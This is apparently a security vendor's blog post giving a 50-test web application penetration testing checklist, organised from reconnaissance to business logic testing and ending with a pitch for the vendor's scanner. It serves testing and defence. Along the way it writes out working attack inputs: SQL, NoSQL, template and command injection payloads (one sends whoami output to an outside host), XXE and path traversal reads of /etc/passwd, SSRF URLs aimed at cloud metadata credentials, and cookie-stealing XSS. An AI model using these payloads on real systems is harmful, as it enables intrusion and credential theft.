Home/ Blog/ Web Application Security Testing Checklist (2026)

June 26, 2026 · Ironimo Security Team

Web Application Security Testing Checklist (2026): 50 Tests Every Security Engineer Should Run

Security checklists age fast. The OWASP Testing Guide is comprehensive but sprawling — not something you open mid-engagement to orient quickly. This checklist is different: 50 concrete tests, organized by phase, with the specific tool or technique for each. It covers what a thorough web application security assessment looks like in 2026, from initial reconnaissance through post-exploitation artifact review.

This is written for security engineers who already know what a CSRF token is. If you want conceptual explanations, the OWASP Top 10 testing guide is a better starting point. If you want a battle-tested execution checklist, read on.

How to Use This Checklist

The 50 tests are grouped into eight categories. Each entry includes the test objective, the primary tool or technique, and a concrete command or approach where relevant. Severity ratings follow CVSS v3.1 conventions: Critical, High, Medium, and Low/Info.

Not every test applies to every target. A GraphQL-only API has no form fields to test for traditional CSRF. A static marketing site has no session management to probe. Use your judgment to skip non-applicable checks — but document why you skipped them, not just what you ran.

Category 1: Reconnaissance & Attack Surface Mapping (Tests 1–8)

Before you send a single malicious payload, understand what you're targeting. Recon mistakes compound — finding the wrong endpoint structure early leads to missed coverage everywhere downstream.

Test 1: DNS Enumeration and Subdomain Discovery

Objective: Enumerate all hostnames under the target domain to identify forgotten staging environments, exposed admin interfaces, and shadow IT.

Tools: amass, subfinder, dnsx, certificate transparency logs via crt.sh

# Passive + active subdomain enumeration
amass enum -passive -d target.com -o subdomains.txt
subfinder -d target.com -silent | dnsx -silent -a -resp

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" \
  | jq -r '.[].name_value' | sort -u

What to look for: dev., staging., admin., internal., api-v1. — any subdomain that shouldn't be publicly routable. Legacy subdomains often run older software with unpatched CVEs.

Test 2: Port and Service Fingerprinting

Objective: Confirm which ports are actually exposed on the target's IP space, not just what DNS points to port 443.

Tools: nmap, masscan

# Service version detection on common web ports
nmap -sV -sC -p 80,443,8080,8443,8000,8888,9000,9443 \
  --open -oA web_ports target.com

# Faster initial sweep with masscan, then nmap for details
masscan -p1-65535 --rate=10000 -oL masscan_out.txt target.com

What to look for: Non-standard ports running web services, management interfaces (Tomcat Manager on 8080, Kibana on 5601, Grafana on 3000), and version strings that map to known CVEs.

Test 3: Technology Stack Fingerprinting

Objective: Identify the full technology stack — web server, application framework, frontend libraries, CDN, WAF — before probing for specific vulnerabilities.

Tools: whatweb, wappalyzer (CLI), browser DevTools, response headers

whatweb -v -a 3 https://target.com

# Headers often reveal the stack before any active scanning
curl -sI https://target.com | grep -iE 'server|x-powered-by|x-aspnet|x-generator'

What to look for: Exact version numbers in headers (Server: Apache/2.4.49 is actively exploited), framework indicators that narrow your injection payload set, WAF signatures that you'll need to tune around.

Test 4: Content Discovery and Path Enumeration

Objective: Find endpoints not linked from the application's UI — admin panels, backup files, API documentation, debug endpoints.

Tools: feroxbuster, ffuf, gobuster

# Recursive content discovery with status code filtering
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  -x php,asp,aspx,jsp,json,txt,bak,zip -s 200,301,302,403 \
  --depth 3 -o ferox_out.txt

# API path discovery
ffuf -u https://target.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,400,401,403 -o api_paths.json -of json

What to look for: .git/ directories, .env files, backup.zip, phpinfo.php, /actuator/ endpoints, /swagger-ui.html, /.well-known/security.txt (useful for scope and contacts, not a vuln).

Test 5: JavaScript Analysis and Secrets Extraction

Objective: Parse client-side JavaScript for hardcoded API keys, internal endpoint paths, and authentication tokens.

Tools: trufflehog, gitleaks, linkfinder, manual review

# Extract all JS files and scan for secrets
python3 linkfinder.py -i https://target.com -d -o results.html

# Scan JS bundles for credentials and API keys
trufflehog filesystem ./downloaded_js/ --only-verified

What to look for: AWS access keys (AKIA...), Stripe keys, hardcoded admin credentials, internal service URLs (http://internal-api.company.local), and commented-out debug endpoints.

Test 6: CORS Configuration Review

Objective: Determine whether the application reflects arbitrary origins in Access-Control-Allow-Origin headers, enabling cross-site data theft.

Tools: curl, Burp Suite, corsy

# Test for wildcard and reflected-origin CORS
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user \
  | grep -i "access-control"

# Test null origin (sandboxed iframe bypass)
curl -s -I -H "Origin: null" https://target.com/api/user \
  | grep -i "access-control"

What to look for: Access-Control-Allow-Origin: https://evil.com (origin reflected), Access-Control-Allow-Credentials: true combined with a non-null, non-wildcard origin — that's a critical finding enabling authenticated cross-origin reads.

Test 7: Security Headers Audit

Objective: Verify that defensive headers are present, correctly configured, and not trivially bypassable.

Tools: curl, nikto, securityheaders.com (external validation)

Header Expected Value Missing Impact
Content-Security-Policy Restrictive policy, no unsafe-inline XSS escalation to full account takeover
Strict-Transport-Security max-age>=31536000; includeSubDomains SSL stripping, session hijacking
X-Frame-Options DENY or SAMEORIGIN Clickjacking attacks
X-Content-Type-Options nosniff MIME-type confusion attacks
Referrer-Policy strict-origin-when-cross-origin Token leakage in Referer header
Permissions-Policy Disable unused browser APIs Camera/mic/geolocation abuse

Test 8: TLS/SSL Configuration Assessment

Objective: Verify that the application's TLS configuration does not permit weak cipher suites, deprecated protocol versions, or certificate issues.

Tools: testssl.sh, sslyze

# Full TLS audit with severity ratings
./testssl.sh --severity MEDIUM --html testssl_report.html https://target.com

# Specific checks for legacy protocol support
./testssl.sh --protocols --cipher-per-proto https://target.com

What to look for: TLS 1.0/1.1 support (deprecated, POODLE/BEAST attack surface), RC4 or 3DES cipher suites, expired or self-signed certificates, missing OCSP stapling, certificate hostname mismatch on subdomains.

Category 2: Authentication Testing (Tests 9–16)

Authentication flaws remain among the highest-impact findings in web application assessments. OWASP A07:2021 (Identification and Authentication Failures) consistently yields critical and high findings in real-world engagements.

Test 9: Username Enumeration

Objective: Determine whether the application leaks account existence through differential responses to valid vs. invalid usernames.

Tools: Burp Suite Intruder, ffuf

# Timing-based enumeration via ffuf
ffuf -u https://target.com/login -X POST \
  -d "username=FUZZ&password=wrongpassword" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -mc all -fr "Invalid username or password"

What to look for: Different HTTP status codes (200 vs. 401), different response body text ("User not found" vs. "Wrong password"), and timing differences — a valid username that hits a bcrypt comparison will take measurably longer than an invalid one that short-circuits.

Test 10: Password Policy and Brute Force Protection

Objective: Verify that the application enforces a sensible password policy and implements effective rate limiting or account lockout on authentication endpoints.

Tools: Burp Suite Intruder, hydra, manual testing

# Test rate limiting on login endpoint
# (use a controlled test account you own)
hydra -l testuser@target.com -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -s 443 -S target.com https-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 3

What to look for: No lockout after N failed attempts, lockout that can be bypassed by rotating through IPs, rate limits applied per-IP rather than per-account (bypassable via X-Forwarded-For header manipulation), missing CAPTCHA on high-value authentication endpoints.

Test 11: Multi-Factor Authentication Bypass

Objective: Test whether MFA can be bypassed through direct navigation to authenticated pages, response manipulation, or code reuse.

Tools: Burp Suite, manual testing

Tests to run:

Test 12: Password Reset Flow Analysis

Objective: Identify weaknesses in the account recovery flow that could allow takeover of arbitrary accounts.

Tools: Burp Suite, manual testing

Key checks:

Test 13: Session Token Analysis

Objective: Evaluate the randomness, scope, and lifecycle management of session identifiers.

Tools: Burp Suite Sequencer, curl

# Collect 200 session tokens for Burp Sequencer analysis
# Sequencer will measure FIPS bits of randomness per token

# Check cookie flags
curl -sv https://target.com/login 2>&1 | grep -i "set-cookie"
# Look for: HttpOnly, Secure, SameSite=Strict/Lax, Path=/

What to look for: Tokens missing HttpOnly (XSS-stealable), missing Secure (transmitted over HTTP), SameSite=None without a clear justification, tokens that don't rotate on privilege elevation (login, MFA completion), and tokens that remain valid after logout.

Test 14: OAuth 2.0 and OpenID Connect Security

Objective: Test the OAuth flow for common implementation vulnerabilities including CSRF on the authorization endpoint, authorization code interception, and open redirect chaining.

Tools: Burp Suite, manual analysis

Critical checks:

Test 15: JWT Security Testing

Objective: Evaluate JWT implementation for algorithm confusion attacks, weak signing secrets, and claim validation gaps.

Tools: jwt_tool, Burp Suite JWT Editor extension

# Test for algorithm confusion (RS256 to HS256)
python3 jwt_tool.py TOKEN -X a

# Test for none algorithm acceptance
python3 jwt_tool.py TOKEN -X n

# Brute-force weak HS256 signing secret
python3 jwt_tool.py TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

What to look for: alg: none acceptance, algorithm confusion (RS256 public key used as HS256 secret), weak secrets crackable offline, missing exp claim or overly long expiry, kid parameter injection (SQL injection or path traversal in key lookup), and missing audience (aud) validation enabling token reuse across services.

Test 16: Default and Hardcoded Credentials

Objective: Test all identified administrative interfaces and third-party components for default credentials that were never changed.

Tools: nuclei (default-logins template category), manual testing

# Run Nuclei default credential templates
nuclei -u https://target.com -t ~/nuclei-templates/default-logins/ \
  -severity medium,high,critical -o nuclei_default_creds.txt

Common targets: Jenkins (admin/admin), Grafana (admin/admin), Kibana (no auth by default), Spring Boot Actuator (/actuator/env), phpMyAdmin, RabbitMQ management UI, Redis without auth, MongoDB without auth.

Category 3: Authorization and Access Control (Tests 17–22)

Broken access control (OWASP A01:2021) is the most prevalent web application vulnerability class. Authorization bugs are frequently overlooked by automated scanners because they require understanding the application's intended permission model.

Test 17: Horizontal Privilege Escalation (IDOR)

Objective: Verify that users cannot access or modify resources belonging to other users by manipulating object identifiers in requests.

Tools: Burp Suite Autorize extension, manual testing

# Create two test accounts (User A and User B)
# With User A: capture a request that retrieves User A's data
# GET /api/users/1234/profile

# With User B's session cookie, replay the request for User A's ID
curl -H "Cookie: session=USERB_SESSION" \
  https://target.com/api/users/1234/profile

# Test GUIDs too — don't assume non-sequential IDs are safe
curl -H "Cookie: session=USERB_SESSION" \
  https://target.com/api/documents/a3f2c1d4-5e6b-7890-abcd-ef1234567890

Coverage areas: User profiles, document downloads, invoice/order data, support tickets, API keys, notification preferences. Test both GET (read) and PUT/PATCH/DELETE (write) variants — write IDORs are higher severity.

Test 18: Vertical Privilege Escalation

Objective: Test whether a lower-privileged user can access functionality or data reserved for higher-privileged roles.

Tools: Burp Suite Autorize, manual testing

Tests to run:

Test 19: Function-Level Access Control

Objective: Verify that HTTP method-level access controls are enforced and cannot be bypassed by changing verbs or using override headers.

Tools: Burp Suite, curl

# Test HTTP method override headers
curl -X POST -H "X-HTTP-Method-Override: DELETE" \
  https://target.com/api/admin/users/1234

# Test with X-Method-Override
curl -X POST -H "X-Method-Override: PUT" \
  -d '{"role":"admin"}' https://target.com/api/users/1234

# Test OPTIONS to enumerate allowed methods
curl -X OPTIONS -v https://target.com/api/users/1234

Test 20: Multi-Tenancy Isolation

Objective: In SaaS applications, verify that tenant A cannot access, modify, or enumerate resources belonging to tenant B.

Tools: Burp Suite, manual testing with two tenant accounts

Test areas: Cross-tenant API calls using tenant A's auth with tenant B's resource IDs, subdomain-based tenant routing (does tenantb.app.com reject tenant A's session cookie?), shared background job queues that might leak tenant data, export/report endpoints that take a tenant ID parameter.

Test 21: File and Path Access Controls

Objective: Test file download endpoints for path traversal and authorization bypass that would allow reading arbitrary files.

Tools: Burp Suite, dotdotpwn

# Path traversal on file download endpoints
curl "https://target.com/api/files/download?path=../../../etc/passwd"
curl "https://target.com/api/files/download?path=..%2F..%2F..%2Fetc%2Fpasswd"
curl "https://target.com/api/files/download?path=....//....//etc/passwd"

# Test URL-encoded and double-encoded variants
curl "https://target.com/api/files/download?path=%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Test 22: GraphQL Authorization

Objective: Test GraphQL APIs for authorization gaps that don't exist in the REST layer — particularly introspection exposure, batch query abuse, and field-level access control.

Tools: graphw00f, clairvoyance, Burp Suite

# Check if introspection is enabled (should be disabled in production)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

# IDOR via direct node ID queries
curl -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ user(id: \"USER_A_ID\") { email apiKey } }"}'

Category 4: Injection Testing (Tests 23–30)

Injection remains reliably impactful. The attack surface has expanded significantly with the prevalence of NoSQL databases, GraphQL APIs, SSTI-vulnerable template engines, and LLM-powered features introducing prompt injection as a new class.

Test 23: SQL Injection

Objective: Identify SQL injection vulnerabilities in all user-controlled input that reaches a database query.

Tools: sqlmap, Burp Suite, manual testing

# Automated SQLi discovery (use with captured request from Burp)
sqlmap -r request.txt --level=5 --risk=3 --batch \
  --dbs --tamper=space2comment,between

# Blind SQLi detection via time delay
sqlmap -u "https://target.com/api/users?id=1" \
  --technique=T --time-sec=5 --batch

# Test POST body parameters
sqlmap -u "https://target.com/api/login" \
  --data="username=admin&password=test" \
  --level=3 --risk=2 --batch

Coverage: GET/POST parameters, JSON body fields, HTTP headers (User-Agent, Cookie, X-Forwarded-For, Referer), REST path parameters (/api/users/1 OR 1=1), search fields, order-by clauses.

Test 24: NoSQL Injection

Objective: Test MongoDB, CouchDB, and other NoSQL backends for operator injection through JSON request bodies.

Tools: Burp Suite, manual testing

# MongoDB operator injection in JSON body
# Original: {"username": "admin", "password": "test"}
# Inject:
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}

# In URL parameters
curl "https://target.com/api/users?username[$ne]=notexist&password[$ne]=notexist"

Test 25: Server-Side Template Injection (SSTI)

Objective: Identify template injection vulnerabilities in applications using Jinja2, Twig, Freemarker, Pebble, Velocity, or similar engines.

Tools: tplmap, manual testing

# Universal SSTI detection polyglot
# Submit in user-controlled fields, look for evaluation artifacts:
${{<%[%'"}}%\.

# Engine-specific detection probes
{{7*7}}          # Jinja2/Twig → expects 49
${7*7}           # Freemarker/EL → expects 49
#{7*7}           # Ruby ERB
<%= 7*7 %>      # EJS/ERB

# Jinja2 RCE (if injection confirmed)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Test 26: Command Injection

Objective: Identify OS command injection in features that invoke system commands — file conversion, ping/traceroute utilities, DNS lookup tools, image processing.

Tools: Burp Suite, commix

# Basic injection probes
; id
| id
&& id
`id`
$(id)

# Blind detection via time delay
; sleep 5
| ping -c 5 127.0.0.1

# Out-of-band detection (use Burp Collaborator/interactsh)
; curl https://COLLABORATOR_HOST/$(whoami)
commix --url="https://target.com/api/ping" --data="host=127.0.0.1" --batch

Test 27: XML External Entity (XXE) Injection

Objective: Test XML parsers for external entity processing that allows local file read, SSRF, or denial of service.

Tools: Burp Suite, manual testing

<!-- Basic file read XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- Blind XXE via out-of-band DNS (use interactsh) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % remote SYSTEM "https://COLLABORATOR_HOST/evil.dtd"> %remote;]>
<foo/>

Often overlooked: DOCX/XLSX file upload endpoints (they're ZIP archives containing XML), SVG uploads processed server-side, SAML assertion processing endpoints.

Test 28: Server-Side Request Forgery (SSRF)

Objective: Identify SSRF in features that make server-initiated HTTP requests — URL preview/fetch, webhook configuration, PDF generation from URLs, image import from URL.

Tools: Burp Suite Collaborator, interactsh, nuclei

# Basic SSRF probe — internal metadata service
# AWS IMDSv1 (no token required)
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Test with Collaborator for blind SSRF
url=https://YOUR_COLLABORATOR_HOST/ssrf-test

# DNS rebinding + SSRF bypass
url=http://localtest.me  # Resolves to 127.0.0.1

Common bypass techniques: Decimal IP notation (2130706433 = 127.0.0.1), IPv6 (::1), protocol handlers (file://, dict://, gopher://), DNS rebinding, redirect chains through open redirectors.

Test 29: LDAP and XPath Injection

Objective: Test LDAP directory lookup features and XML/XPath query interfaces for injection vulnerabilities that bypass authentication or enumerate directory entries.

Tools: Manual testing, Burp Suite

# LDAP injection in login (filter injection)
# Normal filter: (&(uid=USER)(password=PASS))
# Inject in username field:
admin)(&(objectClass=*)  → (&(uid=admin)(&(objectClass=*))(password=PASS))

# XPath injection (authentication bypass)
' or '1'='1
' or ''='
x' or name()='username' or 'x'='y

Test 30: HTTP Request Smuggling

Objective: Test for desynchronization between front-end (CDN/load balancer) and back-end server interpretations of Content-Length and Transfer-Encoding headers.

Tools: Burp Suite HTTP Request Smuggler extension, smuggler.py

# CL.TE smuggling probe (Burp HTTP Request Smuggler does this automatically)
# Set Connection: keep-alive
# Send with both Content-Length and Transfer-Encoding headers with conflicting values
# Time-delay technique to detect without side effects:

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

X

Category 5: Cross-Site Scripting (Tests 31–34)

Test 31: Reflected XSS

Objective: Identify input reflected unsanitized into HTML responses, JavaScript contexts, or HTTP response headers.

Tools: dalfox, Burp Suite Scanner, manual testing

# Automated parameter-level reflected XSS discovery
dalfox url "https://target.com/search?q=test" \
  --cookie "session=YOUR_SESSION" \
  --follow-redirects -o dalfox_results.txt

# Context-aware manual probes
# HTML attribute context:   " onmouseover="alert(1)
# JavaScript string context: ';alert(1)//
# JavaScript template literal: ${alert(1)}

Test 32: Stored XSS

Objective: Identify input stored in the application's database or files that is later rendered without sanitization in other users' browsers.

Tools: Manual testing, Burp Suite

High-value injection points: User profile display name and bio, comment/review fields, support ticket subject lines, notification messages, file upload filenames rendered in the UI, Markdown renderers (check for <img src=x onerror=alert(1)> passthrough), SVG uploads rendered inline.

Test 33: DOM-Based XSS

Objective: Identify JavaScript that reads attacker-controlled data from sources (URL hash, document.referrer, postMessage) and writes it to dangerous sinks (innerHTML, eval(), document.write()).

Tools: Browser DevTools, domdig, Burp Suite DOM Invader

# Common sources to test:
https://target.com/page#
https://target.com/page?returnUrl=javascript:alert(1)
https://target.com/page?name=

# postMessage DOM XSS — inject via a test HTML page:
window.open('https://target.com/page');
setTimeout(() => {
  window.opener.postMessage('', '*');
}, 1000);

Test 34: Content Security Policy Bypass Analysis

Objective: Where CSP is present, evaluate whether it actually mitigates XSS or contains common bypasses.

Tools: CSP Evaluator, manual analysis

Common CSP weaknesses:

Category 6: Business Logic Testing (Tests 35–40)

Business logic flaws are the hardest vulnerability class to automate because they require understanding the intended application behavior. See our dedicated guide on business logic testing for deeper coverage. These are the highest-yield checks to run in a time-boxed engagement.

Test 35: Price and Quantity Manipulation

Objective: Test whether the application performs server-side validation of prices, quantities, and discount calculations.

Tools: Burp Suite, manual testing

# Intercept add-to-cart or checkout request, modify price:
{"productId": "123", "quantity": 1, "price": 0.01}

# Negative quantity (can result in store credit or price inversion)
{"productId": "123", "quantity": -1}

# Integer overflow (2^31 + 1 = negative number in signed int)
{"productId": "123", "quantity": 2147483648}

Test 36: Workflow Sequence Bypass

Objective: Test whether multi-step workflows (checkout, account verification, approval flows) can be completed by skipping or repeating steps.

Tools: Burp Suite, manual testing

Tests: Navigate directly to the final step of a multi-step checkout (step 4 of 4) without completing prior steps. Submit step 2 twice to double-apply a discount. Complete step 3 before step 2 is validated. Test whether email verification can be skipped by directly accessing authenticated routes immediately after registration.

Test 37: Race Condition Exploitation

Objective: Identify race conditions where concurrent requests can bypass single-use limits, overdraw balances, or duplicate actions.

Tools: Burp Suite Turbo Intruder, curl with parallel execution

# Burp Turbo Intruder single-packet attack (HTTP/2)
# Send 20 simultaneous redemption requests for a single-use coupon code
# Use the single-packet attack technique to maximize concurrency window

# CLI parallel test:
seq 1 20 | xargs -P 20 -I{} curl -s -X POST \
  https://target.com/api/coupons/redeem \
  -H "Authorization: Bearer TOKEN" \
  -d '{"code":"ONEUSE50OFF"}' &

High-value targets: Coupon/promo code redemption, referral bonus crediting, withdrawal/transfer limits, vote/like actions, inventory checks before purchase confirmation.

Test 38: Mass Assignment

Objective: Test whether the server accepts and processes request parameters that map to sensitive model attributes not intended to be user-settable.

Tools: Burp Suite, manual testing

# Standard user update — inject privileged fields
PATCH /api/users/me HTTP/1.1
Content-Type: application/json

{
  "displayName": "Test User",
  "email": "test@example.com",
  "role": "admin",
  "isVerified": true,
  "creditBalance": 99999,
  "planTier": "enterprise"
}

Test 39: Insecure Direct Object Reference in File Operations

Objective: Test file upload endpoints for unrestricted file type acceptance, path traversal in filenames, and stored XSS via SVG/HTML uploads.

Tools: Burp Suite, manual testing

# Upload bypass techniques
# 1. Double extension: malware.php.jpg
# 2. Null byte: malware.php%00.jpg (older PHP)
# 3. MIME type mismatch: send PHP file with Content-Type: image/jpeg
# 4. Path traversal in filename: ../../../var/www/html/shell.php
# 5. SVG with embedded XSS:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

Test 40: Email and Notification Injection

Objective: Test whether user input is sanitized before being embedded in transactional email subjects, bodies, or headers — enabling email header injection or spoofed notifications.

Tools: Manual testing

# Email header injection probe (in name/subject fields):
Test User%0ACc: attacker@evil.com
Test User%0D%0ABcc: attacker@evil.com%0D%0AContent-Type: text/html

# HTML injection in email body (not header injection, but still impactful):
Click here to verify

Category 7: API Security Testing (Tests 41–46)

Modern web applications expose most of their attack surface through APIs. Many teams harden their web UI but leave API endpoints with weaker validation, missing authentication, and verbose error responses. See our API security testing guide for comprehensive coverage.

Test 41: API Authentication and Authorization Coverage

Objective: Verify that every API endpoint requires authentication and that authorization is enforced on every individual endpoint, not just at a router/gateway level.

Tools: ffuf, Burp Suite, nuclei

# Test unauthenticated access to API endpoints
ffuf -u https://target.com/api/FUZZ \
  -w api_endpoints.txt \
  -H "Content-Type: application/json" \
  -mc 200,201,204 \
  -o unauthenticated_endpoints.json

# Remove auth header from authenticated requests
curl -X GET https://target.com/api/admin/users \
  --no-header "Authorization"

Test 42: API Rate Limiting and Abuse Prevention

Objective: Verify that APIs implement rate limiting on sensitive endpoints (authentication, password reset, OTP verification, data export) and that limits cannot be trivially bypassed.

Tools: ffuf, Burp Suite Intruder

# Test rate limit bypass via header rotation
for ip in 10.0.0.{1..50}; do
  curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Forwarded-For: $ip" \
    -X POST https://target.com/api/auth/otp \
    -d '{"code":"000000"}'
done

Header bypass candidates: X-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP, True-Client-IP.

Test 43: Verbose Error Messages and Stack Traces

Objective: Trigger application errors to determine whether stack traces, database query strings, internal file paths, or environment variables are returned to clients.

Tools: Manual testing, Burp Suite

# Trigger type errors
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"id": "not-a-number", "nested": {"deeply": {"invalid": null}}}'

# Trigger database errors via SQLi indicators
curl "https://target.com/api/search?q='"

Test 44: Mass Data Exposure (Overfetching)

Objective: Verify that API responses don't return more data than the client needs — internal IDs, hashed passwords, PII belonging to other users, or system metadata.

Tools: Manual review, Burp Suite

Tests: Compare the fields visible in the API response against what the UI actually displays. A user profile endpoint returning passwordHash, internalUserId, stripeCustomerId, or adminNotes alongside display data is overfetching. Check list endpoints vs. individual resource endpoints — list endpoints often return fewer fields, but the individual endpoint may expose everything.

Test 45: API Versioning and Deprecated Endpoint Security

Objective: Test whether legacy API versions (/api/v1/) are still accessible and whether they have weaker security controls than the current version.

Tools: feroxbuster, manual testing

# Enumerate API versions
feroxbuster -u https://target.com/api/ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-versions.txt \
  -mc 200,401,403

# Common legacy version paths:
/v1/ /v2/ /v0/ /api/v1/ /rest/v1/ /api/1.0/ /api/2019-01-01/

Test 46: WebSocket Security Testing

Objective: Test WebSocket connections for lack of authentication, cross-site WebSocket hijacking (CSWSH), and injection vulnerabilities in message payloads.

Tools: Burp Suite, wscat

# Connect to WebSocket with a different origin header
# (test for cross-site WebSocket hijacking)
wscat -c wss://target.com/ws \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=VICTIM_SESSION_ID"

# Test JSON payload injection in WebSocket messages
wscat -c wss://target.com/ws
> {"action":"getUser","userId":"1 OR 1=1"}
> {"action":"subscribe","channel":"../admin"}

Category 8: Infrastructure, Configuration, and Miscellaneous (Tests 47–50)

Test 47: Subdomain Takeover

Objective: Identify subdomains with DNS entries pointing to unclaimed third-party services (GitHub Pages, Heroku, Fastly, AWS S3, Netlify) where an attacker could claim the endpoint and serve malicious content under the legitimate domain.

Tools: subjack, nuclei subdomain-takeover templates

# Automated subdomain takeover detection
subjack -w subdomains.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_candidates.txt

nuclei -l subdomains.txt \
  -t ~/nuclei-templates/takeovers/ \
  -o nuclei_takeover.txt

Common providers to check: AWS S3 (NoSuchBucket error), GitHub Pages (There isn't a GitHub Pages site here), Heroku (No such app), Shopify (Sorry, this shop is currently unavailable), Fastly (Fastly error: unknown domain).

Test 48: Sensitive Data Exposure in Responses and Caching

Objective: Verify that sensitive data is not cached by browsers, CDNs, or intermediate proxies, and that PII handling meets expected standards.

Tools: curl, Burp Suite, browser DevTools

# Check caching headers on authenticated responses
curl -sI https://target.com/api/users/me \
  -H "Authorization: Bearer TOKEN" \
  | grep -iE "cache-control|pragma|expires|etag|age|x-cache"

# Expected for authenticated/sensitive responses:
# Cache-Control: no-store, private
# Pragma: no-cache

# Check if CDN is caching authenticated responses (look for X-Cache: HIT)

Additional checks: Credit card numbers or bank account details in API responses (should be masked), full SSNs/NINs, unmasked API keys in account settings pages, sensitive data in URL query parameters (logged in access logs, Referer headers, and browser history).

Test 49: Full Automated Vulnerability Scan with Nuclei

Objective: Run a comprehensive template-based scan to catch known CVEs, misconfigurations, exposed panels, and common vulnerabilities at scale.

Tools: nuclei

# Full scan with severity filtering (run after manual recon to target known endpoints)
nuclei -u https://target.com \
  -t ~/nuclei-templates/ \
  -severity medium,high,critical \
  -exclude-tags dos \
  -rate-limit 50 \
  -c 20 \
  -o nuclei_full_scan.txt \
  -json -o nuclei_full_scan.json

# Targeted scan — specific template categories
nuclei -u https://target.com \
  -t ~/nuclei-templates/exposures/ \
  -t ~/nuclei-templates/misconfiguration/ \
  -t ~/nuclei-templates/cves/ \
  -severity high,critical

Test 50: Dependency and Component Vulnerability Scanning

Objective: Identify known-vulnerable third-party libraries and components used by the application, including JavaScript dependencies, server-side packages, and infrastructure components.

Tools: retire.js, nuclei (CVE templates), Burp Suite (version detection)

# Scan JavaScript files for known-vulnerable libraries
retire --js --path ./downloaded_js/ --outputformat json \
  --outputpath retire_findings.json

# Check server-side package vulnerabilities via exposed debug pages
# Spring Boot Actuator: /actuator/info often reveals dependency versions
curl https://target.com/actuator/info | jq '.build.version'

# Detect outdated CMS versions
nuclei -u https://target.com \
  -t ~/nuclei-templates/technologies/ \
  -t ~/nuclei-templates/cves/wordpress/ \
  -t ~/nuclei-templates/cves/drupal/

Putting It Together: Execution Strategy

Running 50 tests against a production application requires sequencing. Here's a practical execution order that minimizes noise and maximizes findings early:

  1. Day 1 — Passive recon and automated baseline: Tests 1–8, plus kick off the Nuclei full scan (Test 49) and testssl.sh (Test 8) in the background. While those run, manually map the application's authentication and authorization model.
  2. Day 2 — Authentication and authorization: Tests 9–22. This is where the highest-severity findings typically live. Use Burp Autorize with two accounts at different privilege levels running throughout manual testing.
  3. Day 3 — Injection testing: Tests 23–30. Use sqlmap and dalfox to cover breadth, reserve manual time for SSTI and SSRF which require contextual judgment.
  4. Day 4 — Business logic and API: Tests 35–46. These require the deepest application understanding and benefit most from time spent in the application before starting.
  5. Day 5 — Cleanup and stragglers: Tests 47–50, plus any follow-up on partial findings from earlier days.

Automating the Repeatable Parts

The reconnaissance, technology fingerprinting, header audits, TLS checks, nuclei scans, and known-CVE checks (tests 1–8, 16, 49, 50) are largely automatable and should run on every deployment in your CI/CD pipeline, not just during scheduled assessments. The authentication, authorization, injection, and business logic tests require human judgment and contextual understanding — they're harder to fully automate, though tools like Burp's active scanner cover significant ground.

The goal is to get the automatable checks out of the way so your security engineers spend their time on the tests that actually require expertise: understanding the application's permission model, mapping business logic flows, and chaining low-severity findings into high-severity attack paths.

Ironimo runs the automatable half of this checklist — recon, TLS auditing, security headers, Nuclei CVE scanning, injection testing, and misconfiguration detection — on demand, powered by Kali Linux tooling. Instead of manually running testssl.sh, nuclei, nikto, sqlmap, and a dozen other tools and stitching together results, you get a consolidated findings report with severity ratings in minutes.

Try a scan against your application and see which of these 50 checks you're currently passing.

Start free scan

Related articles

← Back to Blog